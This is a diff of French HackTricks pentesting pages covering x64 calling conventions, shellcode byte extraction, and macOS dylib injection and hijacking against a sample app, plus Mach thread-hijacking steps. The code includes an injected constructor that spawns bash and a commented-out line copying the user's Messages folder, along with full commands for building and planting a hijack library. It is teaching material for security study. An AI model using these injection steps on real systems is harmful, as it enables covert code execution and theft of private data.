* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -33,8 +33,8 @@ x64 étend l'architecture x86, avec **16 registres généraux** étiquetés `rax
|
|||
|
||||
La convention d'appel x64 varie selon les systèmes d'exploitation. Par exemple :
|
||||
|
||||
* **Windows** : Les quatre premiers **paramètres** sont passés dans les registres **`rcx`**, **`rdx`**, **`r8`** et **`r9`**. Les paramètres supplémentaires sont poussés sur la pile. La valeur de retour est dans **`rax`**.
|
||||
* **System V (couramment utilisé dans les systèmes de type UNIX)** : Les six premiers **paramètres entiers ou pointeurs** sont passés dans les registres **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`** et **`r9`**. La valeur de retour est également dans **`rax`**.
|
||||
* **Windows** : Les quatre premiers **paramètres** sont passés dans les registres **`rcx`**, **`rdx`**, **`r8`** et **`r9`**. Les paramètres supplémentaires sont poussés sur la pile. La valeur de retour se trouve dans **`rax`**.
|
||||
* **System V (couramment utilisé dans les systèmes de type UNIX)** : Les six premiers **paramètres entiers ou pointeurs** sont passés dans les registres **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`** et **`r9`**. La valeur de retour se trouve également dans **`rax`**.
|
||||
|
||||
Si la fonction a plus de six entrées, le **reste sera passé sur la pile**. **RSP**, le pointeur de pile, doit être **aligné sur 16 octets**, ce qui signifie que l'adresse vers laquelle il pointe doit être divisible par 16 avant tout appel. Cela signifie qu'en général, nous devrions nous assurer que RSP est correctement aligné dans notre shellcode avant d'effectuer un appel de fonction. Cependant, en pratique, les appels système fonctionnent souvent même si cette exigence n'est pas respectée.
|
||||
|
||||
|
@ -60,15 +60,15 @@ Les instructions x64 disposent d'un ensemble riche, maintenant la compatibilité
|
|||
* **`sysenter`** : Une instruction d'**appel système** optimisée sur certaines plates-formes.
|
||||
### **Prologue de fonction**
|
||||
|
||||
1. **Pousser l'ancien pointeur de base** : `push rbp` (sauvegarde le pointeur de base de l'appelant)
|
||||
2. **Déplacer le pointeur de pile actuel vers le pointeur de base** : `mov rbp, rsp` (configure le nouveau pointeur de base pour la fonction actuelle)
|
||||
3. **Allouer de l'espace sur la pile pour les variables locales** : `sub rsp, <size>` (où `<size>` est le nombre d'octets nécessaires)
|
||||
1. **Sauvegarde de l'ancien pointeur de base** : `push rbp` (sauvegarde le pointeur de base de l'appelant)
|
||||
2. **Déplacement du pointeur de pile actuel vers le pointeur de base** : `mov rbp, rsp` (configure le nouveau pointeur de base pour la fonction actuelle)
|
||||
3. **Allocation d'espace sur la pile pour les variables locales** : `sub rsp, <size>` (où `<size>` est le nombre d'octets nécessaires)
|
||||
|
||||
### **Épilogue de fonction**
|
||||
|
||||
1. **Déplacer le pointeur de base actuel vers le pointeur de pile** : `mov rsp, rbp` (désalloue les variables locales)
|
||||
2. **Dépiler l'ancien pointeur de base de la pile** : `pop rbp` (restaure le pointeur de base de l'appelant)
|
||||
3. **Retourner** : `ret` (retourne le contrôle à l'appelant)
|
||||
1. **Déplacement du pointeur de base actuel vers le pointeur de pile** : `mov rsp, rbp` (désalloue les variables locales)
|
||||
2. **Dépilement de l'ancien pointeur de base de la pile** : `pop rbp` (restaure le pointeur de base de l'appelant)
|
||||
3. **Retour** : `ret` (retourne le contrôle à l'appelant)
|
||||
|
||||
## macOS
|
||||
|
||||
|
@ -116,12 +116,19 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
|
|||
{% endcode %}
|
||||
|
||||
Pour extraire les octets :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
|
||||
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
echo -n '\\x'$c
|
||||
done
|
||||
|
||||
# Another option
|
||||
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Code C pour tester le shellcode</summary>
|
||||
|
|
|
@ -21,6 +21,7 @@
|
|||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
__attribute__((constructor))
|
||||
|
||||
void myconstructor(int argc, const char **argv)
|
||||
|
@ -28,6 +29,7 @@ void myconstructor(int argc, const char **argv)
|
|||
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
|
||||
printf("[+] dylib injected in %s\n", argv[0]);
|
||||
execv("/bin/bash", 0);
|
||||
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
||||
}
|
||||
```
|
||||
Binaire à attaquer:
|
||||
|
@ -45,27 +47,33 @@ Injection:
|
|||
|
||||
Injection:
|
||||
|
||||
L'injection est une technique couramment utilisée en piratage pour exploiter les vulnérabilités des applications. Elle consiste à insérer du code malveillant dans une application ou un système afin de compromettre sa sécurité. L'injection peut se produire de différentes manières, telles que l'injection SQL, l'injection de commandes, l'injection de code, etc. Ces attaques peuvent permettre à un attaquant d'exécuter du code arbitraire, de voler des informations sensibles, de contourner les mécanismes de sécurité, voire de prendre le contrôle complet du système. Pour se protéger contre les attaques par injection, il est essentiel de mettre en place des mesures de sécurité appropriées, telles que la validation et l'échappement des entrées utilisateur, l'utilisation de requêtes préparées, la limitation des privilèges d'accès, etc.
|
||||
L'injection est une technique couramment utilisée en piratage pour exploiter les vulnérabilités des applications. Elle consiste à insérer du code malveillant dans une application ou un système afin de compromettre sa sécurité. L'injection peut se produire de différentes manières, telles que l'injection SQL, l'injection de commandes, l'injection de code, etc. Ces attaques peuvent permettre à un attaquant d'exécuter du code arbitraire, de voler des informations sensibles, de prendre le contrôle du système, etc. Il est essentiel de sécuriser les applications et les systèmes contre les injections en utilisant des techniques telles que la validation des entrées, l'échappement des caractères spéciaux et l'utilisation de requêtes préparées.
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||
```
|
||||
## Exemple de détournement de Dyld
|
||||
|
||||
Le binaire vulnérable ciblé est `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java`.
|
||||
Le binaire vulnérable ciblé est `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="entitlements" %}
|
||||
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||
<strong>[...]com.apple.security.cs.disable-library-validation[...]
|
||||
</strong></code></pre>
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="LC_RPATH" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Check where are the @rpath locations
|
||||
otool -l "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" | grep LC_RPATH -A 2
|
||||
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
|
||||
cmd LC_RPATH
|
||||
cmdsize 32
|
||||
path @loader_path/. (offset 12)
|
||||
--
|
||||
cmd LC_RPATH
|
||||
cmdsize 32
|
||||
path @loader_path/../lib (offset 12)
|
||||
path @loader_path/../lib2 (offset 12)
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
@ -74,45 +82,39 @@ path @loader_path/../lib (offset 12)
|
|||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Check librareis loaded using @rapth and the used versions
|
||||
otool -l "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" | grep "@rpath" -A 3
|
||||
name @rpath/libjli.dylib (offset 24)
|
||||
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
|
||||
name @rpath/lib.dylib (offset 24)
|
||||
time stamp 2 Thu Jan 1 01:00:02 1970
|
||||
current version 1.0.0
|
||||
compatibility version 1.0.0
|
||||
# Check the versions
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="entitlements" %}
|
||||
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java"
|
||||
<strong>[...]com.apple.security.cs.disable-library-validation[...]
|
||||
</strong></code></pre>
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Avec les informations précédentes, nous savons qu'il **ne vérifie pas la signature des bibliothèques chargées** et qu'il **essaie de charger une bibliothèque depuis** :
|
||||
|
||||
* `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib`
|
||||
* `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib`
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||||
|
||||
Cependant, le premier n'existe pas :
|
||||
```bash
|
||||
pwd
|
||||
/Applications/Burp Suite Professional.app
|
||||
/Applications/VulnDyld.app
|
||||
|
||||
find ./ -name libjli.dylib
|
||||
./Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib
|
||||
./Contents/Resources/jre.bundle/Contents/MacOS/libjli.dylib
|
||||
find ./ -name lib.dylib
|
||||
./Contents/Resources/lib2/lib.dylib
|
||||
```
|
||||
Alors, il est possible de le pirater ! Créez une bibliothèque qui **exécute un code arbitraire et exporte les mêmes fonctionnalités** que la bibliothèque légitime en la réexportant. Et n'oubliez pas de la compiler avec les versions attendues :
|
||||
|
||||
{% code title="libjli.m" %}
|
||||
{% code title="lib.m" %}
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
__attribute__((constructor))
|
||||
void custom(int argc, const char **argv) {
|
||||
NSLog(@"[+] dylib hijacked in %s",argv[0]);
|
||||
NSLog(@"[+] dylib hijacked in %s", argv[0]);
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
@ -121,7 +123,7 @@ Compilez-le :
|
|||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation libjli.m -Wl,-reexport_library,"/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib" -o libjli.dylib
|
||||
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
|
||||
# Note the versions and the reexport
|
||||
```
|
||||
{% endcode %}
|
||||
|
@ -131,16 +133,16 @@ Le chemin de réexportation créé dans la bibliothèque est relatif au chargeur
|
|||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
#Check relative
|
||||
otool -l libjli.dylib| grep REEXPORT -A 2
|
||||
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
||||
cmd LC_REEXPORT_DYLIB
|
||||
cmdsize 48
|
||||
name @rpath/libjli.dylib (offset 24)
|
||||
|
||||
#Change to absolute to the location of the library
|
||||
install_name_tool -change @rpath/libjli.dylib "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib" libjli.dylib
|
||||
#Change the location of the library absolute to absolute path
|
||||
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
|
||||
|
||||
# Check again
|
||||
otool -l libjli.dylib| grep REEXPORT -A 2
|
||||
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
||||
cmd LC_REEXPORT_DYLIB
|
||||
cmdsize 128
|
||||
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
|
||||
|
@ -151,16 +153,15 @@ Enfin, copiez-le simplement à l'**emplacement détourné** :
|
|||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
cp libjli.dylib "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib"
|
||||
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Et **exécutez** le binaire et vérifiez si la **bibliothèque a été chargée** :
|
||||
|
||||
<pre class="language-context"><code class="lang-context">./java
|
||||
<strong>2023-05-15 15:20:36.677 java[78809:21797902] [+] dylib détournée dans ./java
|
||||
</strong>Usage: java [options] <mainclass> [args...]
|
||||
(to execute a class)
|
||||
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib détournée dans /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||
</strong>Usage: [...]
|
||||
</code></pre>
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -169,75 +170,15 @@ Un bon article sur la façon d'exploiter cette vulnérabilité pour abuser des a
|
|||
|
||||
## Plus grande échelle
|
||||
|
||||
Si vous prévoyez d'essayer d'injecter des bibliothèques dans des binaires inattendus, vous pouvez vérifier les messages d'événement pour savoir quand la bibliothèque est chargée à l'intérieur d'un processus (dans ce cas, supprimez le printf et l'exécution `/bin/bash`).
|
||||
Si vous prévoyez d'essayer d'injecter des bibliothèques dans des binaires inattendus, vous pouvez vérifier les messages d'événement pour savoir quand la bibliothèque est chargée à l'intérieur d'un processus (dans ce cas, supprimez le printf et l'exécution de `/bin/bash`).
|
||||
```bash
|
||||
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
||||
```
|
||||
## Vérifier les restrictions
|
||||
|
||||
### SUID & SGID
|
||||
```bash
|
||||
# Make it owned by root and suid
|
||||
sudo chown root hello
|
||||
sudo chmod +s hello
|
||||
# Insert the library
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||
|
||||
# Remove suid
|
||||
sudo chmod -s hello
|
||||
```
|
||||
### Section `__RESTRICT` avec le segment `__restrict`
|
||||
|
||||
La section `__RESTRICT` est une section spéciale dans le binaire macOS qui est utilisée pour restreindre l'accès à certaines fonctionnalités sensibles du système d'exploitation. Cette section est généralement protégée en écriture et en exécution, ce qui la rend difficile à modifier ou à exploiter.
|
||||
|
||||
Le segment `__restrict` est utilisé pour définir les restrictions d'accès pour la section `__RESTRICT`. Il spécifie les autorisations d'accès pour les différentes parties du binaire, telles que la lecture, l'écriture et l'exécution. En définissant correctement les autorisations dans ce segment, on peut renforcer la sécurité du binaire en limitant les actions possibles par des attaquants potentiels.
|
||||
|
||||
Il est important de noter que la manipulation ou l'exploitation de la section `__RESTRICT` et du segment `__restrict` nécessite des privilèges élevés sur le système. Ces techniques sont souvent utilisées par les chercheurs en sécurité et les hackers lors de l'analyse des binaires macOS pour découvrir des vulnérabilités potentielles ou des moyens d'escalader les privilèges.
|
||||
```bash
|
||||
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
|
||||
```
|
||||
### Runtime sécurisé
|
||||
|
||||
Créez un nouveau certificat dans le trousseau et utilisez-le pour signer le binaire :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Apply runtime proetction
|
||||
codesign -s <cert-name> --option=runtime ./hello
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello #Library won't be injected
|
||||
|
||||
# Apply library validation
|
||||
codesign -f -s <cert-name> --option=library ./hello
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed #Will throw an error because signature of binary and library aren't signed by same cert (signs must be from a valid Apple-signed developer certificate)
|
||||
|
||||
# Sign it
|
||||
## If the signature is from an unverified developer the injection will still work
|
||||
## If it's from a verified developer, it won't
|
||||
codesign -f -s <cert-name> inject.dylib
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed
|
||||
|
||||
# Apply CS_RESTRICT protection
|
||||
codesign -f -s <cert-name> --option=restrict hello-signed
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Notez que même s'il y a des binaires signés avec le drapeau **`0x0(none)`**, ils peuvent obtenir dynamiquement le drapeau **`CS_RESTRICT`** lorsqu'ils sont exécutés et donc cette technique ne fonctionnera pas sur eux.
|
||||
|
||||
Vous pouvez vérifier si un processus a ce drapeau avec (obtenez [**csops ici**](https://github.com/axelexic/CSOps)): 
|
||||
```bash
|
||||
csops -status <pid>
|
||||
```
|
||||
et vérifiez ensuite si le drapeau 0x800 est activé.
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -4,10 +4,10 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -19,34 +19,34 @@ Ce post a été copié depuis [https://bazad.github.io/2018/10/bypassing-platfor
|
|||
* [https://github.com/bazad/threadexec](https://github.com/bazad/threadexec)
|
||||
* [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36)
|
||||
|
||||
### 1. Hijacking de thread
|
||||
### 1. Détournement de thread
|
||||
|
||||
La première chose que nous faisons est d'appeler **`task_threads()`** sur le port de tâche pour obtenir une liste de threads dans la tâche distante, puis de choisir l'un d'entre eux à pirater. Contrairement aux frameworks d'injection de code traditionnels, nous **ne pouvons pas créer un nouveau thread distant** car `thread_create_running()` sera bloqué par la nouvelle mitigation.
|
||||
La première chose que nous faisons est d'appeler **`task_threads()`** sur le port de tâche pour obtenir une liste de threads dans la tâche distante, puis choisir l'un d'entre eux à détourner. Contrairement aux frameworks d'injection de code traditionnels, nous **ne pouvons pas créer un nouveau thread distant** car `thread_create_running()` sera bloqué par la nouvelle atténuation.
|
||||
|
||||
Ensuite, nous pouvons appeler **`thread_suspend()`** pour arrêter le thread de s'exécuter.
|
||||
Ensuite, nous pouvons appeler **`thread_suspend()`** pour arrêter l'exécution du thread.
|
||||
|
||||
À ce stade, le seul contrôle utile que nous avons sur le thread distant est de l'**arrêter**, de le **démarrer**, d'**obtenir** ses **valeurs de registre** et de **définir** ses **valeurs de registre**. Ainsi, nous pouvons **initier un appel de fonction distant** en définissant les registres `x0` à `x7` dans le thread distant sur les **arguments**, en définissant **`pc`** sur la fonction que nous voulons exécuter, et en démarrant le thread. À ce stade, nous devons détecter le retour et nous assurer que le thread ne plante pas.
|
||||
|
||||
Il y a plusieurs façons de procéder. Une façon serait de **enregistrer un gestionnaire d'exception** pour le thread distant en utilisant `thread_set_exception_ports()` et de définir le registre d'adresse de retour, `lr`, sur une adresse invalide avant d'appeler la fonction ; de cette façon, après l'exécution de la fonction, une exception serait générée et un message serait envoyé à notre port d'exception, à partir de ce point, nous pouvons inspecter l'état du thread pour récupérer la valeur de retour. Cependant, pour simplifier, j'ai copié la stratégie utilisée dans l'exploit triple\_fetch de Ian Beer, qui consistait à **définir `lr` sur l'adresse d'une instruction qui bouclerait indéfiniment** et à interroger les registres du thread de manière répétée jusqu'à ce que **`pc` pointe vers cette instruction**.
|
||||
Il existe plusieurs façons de procéder. Une façon serait de **enregistrer un gestionnaire d'exception** pour le thread distant en utilisant `thread_set_exception_ports()` et de définir le registre d'adresse de retour, `lr`, sur une adresse invalide avant d'appeler la fonction ; de cette façon, après l'exécution de la fonction, une exception serait générée et un message serait envoyé à notre port d'exception, à partir duquel nous pouvons inspecter l'état du thread pour récupérer la valeur de retour. Cependant, pour simplifier, j'ai copié la stratégie utilisée dans l'exploit triple\_fetch de Ian Beer, qui consistait à **définir `lr` sur l'adresse d'une instruction qui bouclerait indéfiniment** et à vérifier régulièrement les registres du thread jusqu'à ce que **`pc` pointe vers cette instruction**.
|
||||
|
||||
### 2. Ports Mach pour la communication
|
||||
|
||||
La prochaine étape consiste à **créer des ports Mach sur lesquels nous pouvons communiquer avec le thread distant**. Ces ports Mach seront utiles plus tard pour aider à transférer des droits d'envoi et de réception arbitraires entre les tâches.
|
||||
L'étape suivante consiste à **créer des ports Mach** par lesquels nous pouvons communiquer avec le thread distant. Ces ports Mach seront utiles plus tard pour faciliter le transfert de droits d'envoi et de réception arbitraires entre les tâches.
|
||||
|
||||
Pour établir une communication bidirectionnelle, nous devrons créer deux droits de réception Mach : un dans la **tâche locale et un dans la tâche distante**. Ensuite, nous devrons **transférer un droit d'envoi** à chaque port **vers l'autre tâche**. Cela donnera à chaque tâche un moyen d'envoyer un message qui peut être reçu par l'autre.
|
||||
|
||||
Concentrons-nous d'abord sur la configuration du port local, c'est-à-dire le port sur lequel la tâche locale détient le droit de réception. Nous pouvons créer le port Mach comme n'importe quel autre, en appelant `mach_port_allocate()`. Le truc est d'obtenir un droit d'envoi vers ce port dans la tâche distante.
|
||||
Concentrons-nous d'abord sur la configuration du port local, c'est-à-dire le port pour lequel la tâche locale détient le droit de réception. Nous pouvons créer le port Mach comme n'importe quel autre, en appelant `mach_port_allocate()`. Le truc consiste à obtenir un droit d'envoi vers ce port dans la tâche distante.
|
||||
|
||||
Un truc pratique que nous pouvons utiliser pour copier un droit d'envoi de la tâche actuelle dans une tâche distante en utilisant uniquement une primitive d'exécution de base est de stocker un **droit d'envoi vers notre port local dans le port spécial THREAD_KERNEL_PORT du thread distant** en utilisant `thread_set_special_port()` ; ensuite, nous pouvons faire appeler à la tâche distante `mach_thread_self()` pour récupérer le droit d'envoi.
|
||||
Un truc pratique que nous pouvons utiliser pour copier un droit d'envoi de la tâche actuelle dans une tâche distante en n'utilisant qu'une primitive d'exécution de base est de stocker un **droit d'envoi vers notre port local dans le port spécial `THREAD_KERNEL_PORT` du thread distant** en utilisant `thread_set_special_port()` ; ensuite, nous pouvons faire en sorte que le thread distant appelle `mach_thread_self()` pour récupérer le droit d'envoi.
|
||||
|
||||
Ensuite, nous allons configurer le port distant, qui est à peu près l'inverse de ce que nous venons de faire. Nous pouvons faire allouer un port Mach au **thread distant en appelant `mach_reply_port()`** ; nous ne pouvons pas utiliser `mach_port_allocate()` car ce dernier renvoie le nom de port alloué en mémoire et nous n'avons pas encore de primitive de lecture. Une fois que nous avons un port, nous pouvons créer un droit d'envoi en appelant `mach_port_insert_right()` dans le thread distant. Ensuite, nous pouvons stocker le port dans le noyau en appelant `thread_set_special_port()`. Enfin, de retour dans la tâche locale, nous pouvons récupérer le port en appelant `thread_get_special_port()` sur le thread distant, **nous donnant un droit d'envoi vers le port Mach qui vient d'être alloué dans la tâche distante**.
|
||||
Ensuite, nous allons configurer le port distant, qui est pratiquement l'inverse de ce que nous venons de faire. Nous pouvons faire en sorte que le **thread distant alloue un port Mach en appelant `mach_reply_port()`** ; nous ne pouvons pas utiliser `mach_port_allocate()` car ce dernier renvoie le nom du port alloué en mémoire et nous n'avons pas encore de primitive de lecture. Une fois que nous avons un port, nous pouvons créer un droit d'envoi en appelant `mach_port_insert_right()` dans le thread distant. Ensuite, nous pouvons stocker le port dans le noyau en appelant `thread_set_special_port()`. Enfin, dans la tâche locale, nous pouvons récupérer le port en appelant `thread_get_special_port()` sur le thread distant, **ce qui nous donne un droit d'envoi vers le port Mach récemment alloué dans la tâche distante**.
|
||||
|
||||
À ce stade, nous avons créé les ports Mach que nous utiliserons pour la communication bidirectionnelle.
|
||||
### 3. Lecture/écriture de mémoire de base <a href="#step-3-basic-memory-readwrite" id="step-3-basic-memory-readwrite"></a>
|
||||
### 3. Lecture/écriture basique de la mémoire <a href="#step-3-basic-memory-readwrite" id="step-3-basic-memory-readwrite"></a>
|
||||
|
||||
Maintenant, nous utiliserons le primitive execute pour créer des primitives de lecture et d'écriture de mémoire de base. Ces primitives ne seront pas utilisées pour beaucoup (nous passerons bientôt à des primitives beaucoup plus puissantes), mais elles constituent une étape clé pour nous aider à étendre notre contrôle sur le processus distant.
|
||||
Maintenant, nous allons utiliser la primitive d'exécution pour créer des primitives de lecture et d'écriture basiques de la mémoire. Ces primitives ne seront pas utilisées pour grand-chose (nous passerons bientôt à des primitives beaucoup plus puissantes), mais elles constituent une étape clé pour nous aider à étendre notre contrôle sur le processus distant.
|
||||
|
||||
Pour lire et écrire la mémoire en utilisant notre primitive execute, nous chercherons des fonctions comme celles-ci :
|
||||
